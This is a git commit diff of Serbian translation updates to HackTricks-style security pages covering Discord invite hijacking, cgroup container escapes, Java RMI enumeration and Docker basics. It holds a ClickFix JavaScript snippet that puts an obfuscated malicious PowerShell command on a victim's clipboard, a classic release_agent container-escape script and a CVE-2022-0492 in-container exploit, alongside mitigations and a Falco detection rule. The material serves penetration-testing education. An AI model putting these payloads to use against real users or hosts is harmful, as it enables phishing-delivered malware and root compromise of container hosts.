Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:33:21 +00:00
parent d108c65ca9
commit dd4d282c20
7 changed files with 157 additions and 85 deletions

View File

@ -19,7 +19,7 @@ Ranljivost Discord-ovog sistema za poziv omogućava pretnjama da preuzmu istekao
- Prikupite pozivne kodove od interesa (privremene ili prilagođene). - Prikupite pozivne kodove od interesa (privremene ili prilagođene).
2. Pre-registration 2. Pre-registration
- Kreirajte ili koristite postojeći Discord server sa privilegijama Level 3 pojačanja. - Kreirajte ili koristite postojeći Discord server sa privilegijama Level 3 pojačanja.
- U **Podešavanja servera → Prilagođeni URL**, pokušajte da dodelite ciljni pozivni kod. Ako bude prihvaćen, kod je rezervisan od strane zlonamernog servera. - U **Server Settings → Vanity URL**, pokušajte da dodelite ciljni pozivni kod. Ako bude prihvaćen, kod je rezervisan od strane zlonamernog servera.
3. Aktivacija preuzimanja 3. Aktivacija preuzimanja
- Za privremene pozive, sačekajte da originalni poziv istekne (ili ga ručno obrišite ako kontrolišete izvor). - Za privremene pozive, sačekajte da originalni poziv istekne (ili ga ručno obrišite ako kontrolišete izvor).
- Za kodove koji sadrže velika slova, varijanta sa malim slovima može se odmah preuzeti, iako preusmeravanje aktivira tek nakon isteka. - Za kodove koji sadrže velika slova, varijanta sa malim slovima može se odmah preuzeti, iako preusmeravanje aktivira tek nakon isteka.
@ -29,13 +29,13 @@ Ranljivost Discord-ovog sistema za poziv omogućava pretnjama da preuzmu istekao
## Phishing tok putem Discord servera ## Phishing tok putem Discord servera
1. Ograničite kanale servera tako da je vidljiv samo **#verify** kanal. 1. Ograničite kanale servera tako da je vidljiv samo **#verify** kanal.
2. Postavite bota (npr. **Safeguard#0786**) da podstakne novajlije da se verifikuju putem OAuth2. 2. Postavite bota (npr., **Safeguard#0786**) da podstakne novajlije da se verifikuju putem OAuth2.
3. Bot preusmerava korisnike na phishing sajt (npr. `captchaguard.me`) pod izgovorom CAPTCHA ili koraka verifikacije. 3. Bot preusmerava korisnike na phishing sajt (npr., `captchaguard.me`) pod izgovorom CAPTCHA ili koraka verifikacije.
4. Implementirajte **ClickFix** UX trik: 4. Implementirajte **ClickFix** UX trik:
- Prikazujte poruku o pokvarenom CAPTCHA. - Prikazujte poruku o pokvarenom CAPTCHA.
- Uputite korisnike da otvore **Win+R** dijalog, nalepite unapred učitanu PowerShell komandu i pritisnite Enter. - Uputite korisnike da otvore **Win+R** dijalog, nalepite unapred učitanu PowerShell komandu i pritisnu Enter.
### ClickFix Primer ubrizgavanja u međuspremnik ### ClickFix Clipboard Injection Example
```javascript ```javascript
// Copy malicious PowerShell command to clipboard // Copy malicious PowerShell command to clipboard
const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` + const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
@ -46,16 +46,16 @@ navigator.clipboard.writeText(cmd);
``` ```
Ovaj pristup izbegava direktno preuzimanje fajlova i koristi poznate UI elemente kako bi smanjio sumnju korisnika. Ovaj pristup izbegava direktno preuzimanje fajlova i koristi poznate UI elemente kako bi smanjio sumnju korisnika.
## Mitigacije ## Mogućnosti ublažavanja
- Koristite trajne pozivnice koje sadrže barem jedno veliko slovo ili ne-alfanumerički karakter (nikada ne isteknu, ne mogu se ponovo koristiti). - Koristite trajne pozivnice koje sadrže barem jedno veliko slovo ili ne-alfanumerički karakter (nikada ne isteknu, ne mogu se ponovo koristiti).
- Redovno menjajte pozivne kodove i opozovite stare linkove. - Redovno menjajte pozivne kodove i opozovite stare linkove.
- Pratite status pojačanja Discord servera i tvrdnje o vanity URL-ovima. - Pratite status pojačanja Discord servera i tvrdnje o vanity URL-ovima.
- Obrazujte korisnike da verifikuju autentičnost servera i izbegavaju izvršavanje komandi koje su kopirane iz međuspremnika. - Obrazujte korisnike da provere autentičnost servera i izbegavaju izvršavanje komandi koje su kopirane iz međuspremnika.
## Reference ## Reference
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ - From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link - Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**Za više detalja, pogledajte** [**originalni blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ovo je samo sažetak: **Za više detalja, pogledajte** [**originalni blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ovo je samo sažetak:
Original PoC: ---
## Klasični PoC (2019)
```shell ```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
``` ```
Dokaz koncepta (PoC) demonstrira metodu za iskorišćavanje cgroups kreiranjem `release_agent` datoteke i pokretanjem njenog poziva za izvršavanje proizvoljnih komandi na hostu kontejnera. Evo pregleda koraka koji su uključeni: PoC zloupotrebljava **cgroup-v1** `release_agent` funkciju: kada poslednji zadatak cgrupe koja ima `notify_on_release=1` izađe, kernel (u **početnim imenskim prostorima na hostu**) izvršava program čija je putanja sačuvana u zapisivom fajlu `release_agent`. Budući da se to izvršavanje dešava sa **potpunim root privilegijama na hostu**, sticanje prava pisanja na fajl je dovoljno za bekstvo iz kontejnera.
### Kratak, čitljiv vodič
1. **Pripremite novu cgroup**
1. **Pripremite Okruženje:**
- Direktorijum `/tmp/cgrp` se kreira da služi kao tačka montiranja za cgroup.
- RDMA cgroup kontroler se montira na ovaj direktorijum. U slučaju odsustva RDMA kontrolera, predlaže se korišćenje `memory` cgroup kontrolera kao alternative.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Postavite Dete Cgroup:**
- Dete cgroup pod imenom "x" se kreira unutar montirane cgroup direktorije.
- Obaveštenja su omogućena za "x" cgroup pisanjem 1 u njegov notify_on_release fajl.
```shell ```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # ili o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release echo 1 > /tmp/cgrp/x/notify_on_release
``` ```
3. **Konfigurišite Release Agent:**
- Putanja kontejnera na hostu se dobija iz /etc/mtab datoteke. 2. **Usmerite `release_agent` na skriptu koju kontroliše napadač na hostu**
- release_agent datoteka cgrupa se zatim konfiguriše da izvrši skriptu nazvanu /cmd smeštenu na dobijenoj putanji hosta.
```shell ```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent echo "$host_path/cmd" > /tmp/cgrp/release_agent
``` ```
4. **Kreirajte i Konfigurišite /cmd Skriptu:**
- /cmd skripta se kreira unutar kontejnera i konfiguriše se da izvršava ps aux, preusmeravajući izlaz u datoteku pod imenom /output u kontejneru. Puni put do /output na hostu je specificiran. 3. **Postavite payload**
```shell ```shell
echo '#!/bin/sh' > /cmd cat <<'EOF' > /cmd
echo "ps aux > $host_path/output" >> /cmd #!/bin/sh
chmod a+x /cmd ps aux > "$host_path/output"
EOF
chmod +x /cmd
``` ```
5. **Pokreni Napad:**
- Proces se pokreće unutar "x" child cgroup i odmah se prekida. 4. **Pokrenite notifikator**
- Ovo pokreće `release_agent` (skriptu /cmd), koja izvršava ps aux na hostu i zapisuje izlaz u /output unutar kontejnera.
```shell ```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # dodajemo sebe i odmah izlazimo
cat /output # sada sadrži procese na hostu
``` ```
---
## 2022 kernel ranjivost CVE-2022-0492
U februaru 2022. Yiqi Sun i Kevin Wang su otkrili da **kernel *nije* proveravao privilegije kada je proces pisao u `release_agent` u cgroup-v1** (funkcija `cgroup_release_agent_write`).
Efektivno **bilo koji proces koji je mogao da montira hijerarhiju cgrupe (npr. putem `unshare -UrC`) mogao je da piše proizvoljnu putanju u `release_agent` bez `CAP_SYS_ADMIN` u *početnom* korisničkom imenskom prostoru**. Na kontejneru sa podrazumevanom konfiguracijom koji se pokreće kao root, ovo je omogućilo:
* eskalaciju privilegija na root na hostu; ↗
* bekstvo iz kontejnera bez privilegija kontejnera.
Greška je dodeljena **CVE-2022-0492** (CVSS 7.8 / Visoko) i ispravljena u sledećim verzijama kernela (i svim kasnijim):
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
### Minimalni exploit unutar kontejnera
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
Ako je kernel ranjiv, busybox binarni fajl sa *host*-a se izvršava sa punim root pristupom.
### Ojačavanje i ublažavanje
* **Ažurirajte kernel** (≥ verzije iznad). Zakrpa sada zahteva `CAP_SYS_ADMIN` u *početnom* korisničkom imenskom prostoru da bi pisala u `release_agent`.
* **Preferirajte cgroup-v2** ujedinjena hijerarhija **potpuno je uklonila `release_agent` funkciju**, eliminišući ovu klasu eskapa.
* **Onemogućite neprivilegovane korisničke prostore** na hostovima koji ih ne trebaju:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Obavezna kontrola pristupa**: AppArmor/SELinux politike koje odbijaju `mount`, `openat` na `/sys/fs/cgroup/**/release_agent`, ili uklanjaju `CAP_SYS_ADMIN`, zaustavljaju tehniku čak i na ranjivim kernelima.
* **Read-only bind-mask** svih `release_agent` fajlova (primer skripte Palo Alto):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Detekcija u vreme izvršavanja
[`Falco`](https://falco.org/) dolazi sa ugrađenim pravilom od v0.32:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
Pravilo se aktivira na svaki pokušaj pisanja u `*/release_agent` iz procesa unutar kontejnera koji još uvek ima `CAP_SYS_ADMIN`.
## Reference
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) detaljna analiza i skripta za ublažavanje.
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -14,20 +14,20 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI
``` ```
Obično su samo podrazumevani _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezane za uobičajene portove. _Remote objects_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu. Obično su samo podrazumevani _Java RMI_ komponente (_RMI Registry_ i _Activation System_) vezani za uobičajene portove. _Remote objects_ koji implementiraju stvarnu _RMI_ aplikaciju obično su vezani za nasumične portove kao što je prikazano u gornjem izlazu.
_nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom _RMI_ portu, trebate dalje istražiti. _nmap_ ponekad ima problema sa identifikovanjem _SSL_ zaštićenih _RMI_ usluga. Ako naiđete na nepoznatu ssl uslugu na uobičajenom _RMI_ portu, trebate dalje istražiti.
## RMI Komponente ## RMI Komponente
U najjednostavnijim terminima, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. Ovo otvara _TCP_ port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje _Java RMI_ treba da reši: Jednostavno rečeno, _Java RMI_ omogućava programeru da učini _Java objekat_ dostupnim na mreži. Ovo otvara _TCP_ port na kojem se klijenti mogu povezati i pozvati metode na odgovarajućem objektu. Iako ovo zvuči jednostavno, postoji nekoliko izazova koje _Java RMI_ treba da reši:
1. Da bi poslali poziv metode putem _Java RMI_, klijenti treba da znaju IP adresu, port za slušanje, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta ( `ObjID` je jedinstveni i nasumični identifikator koji se kreira kada objekat postane dostupan na mreži. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu). 1. Da bi poslali poziv metode putem _Java RMI_, klijenti treba da znaju IP adresu, port za slušanje, implementiranu klasu ili interfejs i `ObjID` ciljanog objekta ( `ObjID` je jedinstveni i nasumični identifikator koji se kreira kada objekat postane dostupan na mreži. Potreban je jer _Java RMI_ omogućava više objekata da slušaju na istom _TCP_ portu).
2. Daljinski klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. _Java virtuelna mašina_ treba da prati koji od ovih resursa su još u upotrebi i koji od njih mogu biti prikupljeni kao smeće. 2. Daljinski klijenti mogu alocirati resurse na serveru pozivajući metode na izloženom objektu. _Java virtuelna mašina_ treba da prati koji od ovih resursa su još u upotrebi i koji od njih mogu biti prikupljeni kao smeće.
Prvi izazov se rešava putem _RMI registry_, koja je u suštini servis za imenovanje za _Java RMI_. Sam _RMI registry_ je takođe _RMI servis_, ali je implementirani interfejs i `ObjID` fiksni i poznati svim _RMI_ klijentima. Ovo omogućava _RMI_ klijentima da koriste _RMI_ registry samo znajući odgovarajući _TCP_ port. Prvi izazov rešava _RMI registry_, koji je u suštini servis za imenovanje za _Java RMI_. _RMI registry_ je takođe _RMI usluga_, ali je implementirani interfejs i `ObjID` fiksni i poznati svim _RMI_ klijentima. Ovo omogućava _RMI_ klijentima da koriste _RMI_ registry samo znajući odgovarajući _TCP_ port.
Kada programeri žele da učine svoje _Java objekte_ dostupnim unutar mreže, obično ih vezuju za _RMI registry_. _Registry_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom ( _bound name_). Klijenti koji žele da koriste _RMI servis_ traže od _RMI registry_ odgovarajući _bound name_ i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnim _DNS_ servisom. Sledeći spisak prikazuje mali primer: Kada programeri žele da učine svoje _Java objekte_ dostupnim unutar mreže, obično ih vezuju za _RMI registry_. _Registry_ čuva sve informacije potrebne za povezivanje sa objektom (IP adresa, port za slušanje, implementirana klasa ili interfejs i vrednost `ObjID`) i čini ih dostupnim pod ljudski čitljivim imenom ( _bound name_). Klijenti koji žele da koriste _RMI uslugu_ traže od _RMI registry_ odgovarajuće _bound name_ i registry vraća sve potrebne informacije za povezivanje. Tako je situacija u suštini ista kao sa običnom _DNS_ uslugom. Sledeći spisak prikazuje mali primer:
```java ```java
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
@ -59,11 +59,11 @@ Zajedno sa zastarelim _Activation System_, ovo su tri podrazumevana komponenta _
2. _Activation System_ (`ObjID = 1`) 2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`) 3. _Distributed Garbage Collector_ (`ObjID = 2`)
Podrazumevane komponente _Java RMI_ su poznate vektore napada već neko vreme i više ranjivosti postoje u zastarelim verzijama _Java_. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI services_. Da biste pozvali metodu na _remote object_, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa _RMI service_. Podrazumevane komponente _Java RMI_ su poznati vektori napada već neko vreme i više ranjivosti postoje u zastarelim verzijama _Java_. Sa stanovišta napadača, ove podrazumevane komponente su zanimljive, jer implementiraju poznate klase / interfejse i lako je moguće interagovati sa njima. Ova situacija je drugačija za prilagođene _RMI services_. Da biste pozvali metodu na _remote object_, morate unapred znati odgovarajući potpis metode. Bez poznavanja postojećeg potpisa metode, ne postoji način da komunicirate sa _RMI service_.
## RMI Enumeration ## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je _Java RMI_ skener ranjivosti koji je sposoban da automatski identifikuje uobičajene _RMI vulnerabilities_. Kada god identifikujete _RMI_ endpoint, trebali biste to isprobati: [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) je _Java RMI_ skener ranjivosti koji je sposoban da automatski identifikuje uobičajene _RMI vulnerabilities_. Kada identifikujete _RMI_ endpoint, trebali biste to isprobati:
``` ```
$ rmg enum 172.17.0.2 9010 $ rmg enum 172.17.0.2 9010
[+] RMI registry bound names: [+] RMI registry bound names:
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+] [+]
[+] RMI server codebase enumeration: [+] RMI server codebase enumeration:
[+] [+]
[+] - http://iinsecure.dev/well-hidden-development-folder/ [+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+] [+]
@ -138,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
``` ```
## Bruteforcing Remote Methods ## Bruteforcing Remote Methods
Čak i kada tokom enumeracije nisu identifikovane ranjivosti, dostupne _RMI_ usluge mogu i dalje izložiti opasne funkcije. Štaviše, iako je _RMI_ komunikacija sa _RMI_ podrazumevajućim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga dragoceno. Čak i kada nisu identifikovane ranjivosti tokom enumeracije, dostupne _RMI_ usluge i dalje mogu izložiti opasne funkcije. Štaviše, iako je _RMI_ komunikacija sa _RMI_ podrazumevanim komponentama zaštićena filtrima za deserializaciju, kada se razgovara sa prilagođenim _RMI_ uslugama, takvi filteri obično nisu prisutni. Poznavanje validnih potpisa metoda na _RMI_ uslugama je stoga dragoceno.
Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _daljinskim objektima_. Ipak, moguće je bruteforcovati potpise metoda pomoću alata kao što su [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout): Nažalost, _Java RMI_ ne podržava enumeraciju metoda na _daljinskim objektima_. Ipak, moguće je bruteforcovati potpise metoda pomoću alata kao što su [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ili [rmiscout](https://github.com/BishopFox/rmiscout):
``` ```
@ -205,11 +205,11 @@ Više informacija može se naći u ovim člancima:
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout) - [rmiscout](https://bishopfox.com/blog/rmiscout)
Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili _GitHub_-u za interfejsom ili čak implementacijom naiđenog _RMI_ servisa. _Bound name_ i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde. Osim pogađanja, trebali biste takođe potražiti u pretraživačima ili _GitHub_-u za interfejs ili čak implementaciju susretnutog _RMI_ servisa. _Bound name_ i naziv implementirane klase ili interfejsa mogu biti od pomoći ovde.
## Poznati Interfejsi ## Poznati Interfejsi
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `poznate` ako su navedene u internom bazi podataka alata o poznatim _RMI servisima_. U tim slučajevima možete koristiti `poznatu` akciju da dobijete više informacija o odgovarajućem _RMI servisu_: [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) označava klase ili interfejse kao `known` ako su navedeni u internom bazi podataka alata o poznatim _RMI servisima_. U tim slučajevima možete koristiti `known` akciju da dobijete više informacija o odgovarajućem _RMI servisu_:
``` ```
$ rmg enum 172.17.0.2 1090 | head -n 5 $ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names: [+] RMI registry bound names:
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+] [+]
[+] References: [+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+] [+]
[+] Vulnerabilities: [+] Vulnerabilities:
[+] [+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution. [+] is therefore most of the time equivalent to remote code execution.
[+] [+]
[+] References: [+] References:
[+] - https://github.com/qtc-de/beanshooter [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+] [+]
[+] ----------------------------------- [+] -----------------------------------
[+] Name: [+] Name:
@ -266,19 +266,19 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks. [+] establish a working JMX connection, you can also perform deserialization attacks.
[+] [+]
[+] References: [+] References:
[+] - https://github.com/qtc-de/beanshooter [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
``` ```
## Shodan ## Shodan
- `port:1099 java` - `port:1099 java`
## Alati ## Tools
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout) - [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe) - [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Reference ## References
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)

View File

@ -11,8 +11,8 @@ Docker je **vodeća platforma** u **industriji kontejnerizacije**, koja prednja
#### Osnovna arhitektura dockera #### Osnovna arhitektura dockera
- [**containerd**](http://containerd.io): Ovo je **osnovni runtime** za kontejnere, zadužen za sveobuhvatno **upravljanje životnim ciklusom kontejnera**. To uključuje upravljanje **prenosom i skladištenjem slika**, pored nadgledanja **izvršavanja, praćenja i umrežavanja** kontejnera. **Detaljniji uvidi** o containerd su **dalje istraženi**. - [**containerd**](http://containerd.io): Ovo je **osnovni runtime** za kontejnere, zadužen za sveobuhvatno **upravljanje životnim ciklusom kontejnera**. To uključuje upravljanje **prenosom i skladištenjem slika**, pored nadgledanja **izvršavanja, praćenja i umrežavanja** kontejnera. **Detaljniji uvidi** o containerd su **dalje istraženi**.
- **container-shim** igra ključnu ulogu kao **posrednik** u upravljanju **headless kontejnerima**, preuzimajući ulogu od **runc** nakon što su kontejneri inicijalizovani. - **container-shim** igra ključnu ulogu kao **posrednik** u upravljanju **headless kontejnerima**, preuzimajući bez problema od **runc** nakon što su kontejneri inicijalizovani.
- [**runc**](http://runc.io): Poznat po svojim **laganim i univerzalnim runtime** sposobnostima, runc je usklađen sa **OCI standardom**. Koristi ga containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, razvijajući se iz originalnog **libcontainer**. - [**runc**](http://runc.io): Poznat po svojim **laganim i univerzalnim runtime** sposobnostima, runc je usklađen sa **OCI standardom**. Koristi se od strane containerd za **pokretanje i upravljanje kontejnerima** prema **OCI smernicama**, razvijajući se iz originalnog **libcontainer**.
- [**grpc**](http://www.grpc.io) je ključan za **olakšavanje komunikacije** između containerd i **docker-engine**, osiguravajući **efikasnu interakciju**. - [**grpc**](http://www.grpc.io) je ključan za **olakšavanje komunikacije** između containerd i **docker-engine**, osiguravajući **efikasnu interakciju**.
- [**OCI**](https://www.opencontainers.org) je od suštinskog značaja za održavanje **OCI specifikacija** za runtime i slike, pri čemu su najnovije verzije Dockera **usaglašene sa OCI standardima za slike i runtime**. - [**OCI**](https://www.opencontainers.org) je od suštinskog značaja za održavanje **OCI specifikacija** za runtime i slike, pri čemu su najnovije verzije Dockera **usaglašene sa OCI standardima za slike i runtime**.
@ -41,11 +41,11 @@ docker system prune -a
``` ```
#### Containerd #### Containerd
**Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su **Docker i Kubernetes**, između ostalog. Njegov cilj je da **pojednostavi izvršavanje kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije koje su potrebne njegovim korisnicima, teži da izostavi nepotrebne komponente. Međutim, postizanje ovog cilja u potpunosti se priznaje kao izazovno. **Containerd** je posebno razvijen da zadovolji potrebe platformi za kontejnere kao što su **Docker i Kubernetes**, između ostalog. Njegova svrha je da **pojednostavi izvršavanje kontejnera** na različitim operativnim sistemima, uključujući Linux, Windows, Solaris i druge, apstrahujući funkcionalnosti specifične za operativni sistem i sistemske pozive. Cilj Containerd-a je da uključi samo osnovne funkcije koje su potrebne njegovim korisnicima, te da teži izostavljanju nepotrebnih komponenti. Međutim, potpuno postizanje ovog cilja se priznaje kao izazovno.
Ključna dizajnerska odluka je da **Containerd ne upravlja mrežom**. Mreža se smatra kritičnim elementom u distribuiranim sistemima, sa složenostima kao što su Softverski Definisana Mreža (SDN) i otkrivanje usluga koje se značajno razlikuju od jedne platforme do druge. Stoga, Containerd prepušta aspekte mreže platformama koje podržava. Ključna dizajnerska odluka je da **Containerd ne upravlja mrežom**. Mreža se smatra kritičnim elementom u distribuiranim sistemima, sa složenostima kao što su Softverski Definisana Mreža (SDN) i otkrivanje usluga koje se značajno razlikuju od jedne platforme do druge. Stoga, Containerd prepušta aspekte mreže platformama koje podržava.
Dok **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup Docker-ovih funkcionalnosti. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Docker-u i ne podržava direktno kreiranje Docker swarm-ova. Ova razlika naglašava fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, delegirajući specijalizovanije funkcionalnosti platformama sa kojima se integriše. Dok **Docker koristi Containerd** za pokretanje kontejnera, važno je napomenuti da Containerd podržava samo podskup funkcionalnosti Dockera. Konkretno, Containerd nema mogućnosti upravljanja mrežom prisutne u Dockeru i ne podržava direktno kreiranje Docker swarm-ova. Ova razlika naglašava fokusiranu ulogu Containerd-a kao okruženja za izvršavanje kontejnera, delegirajući specijalizovanije funkcionalnosti platformama sa kojima se integriše.
```bash ```bash
#Containerd CLI #Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -75,7 +75,7 @@ Podman je dizajniran da bude kompatibilan sa Docker-ovim API-jem, omogućavajuć
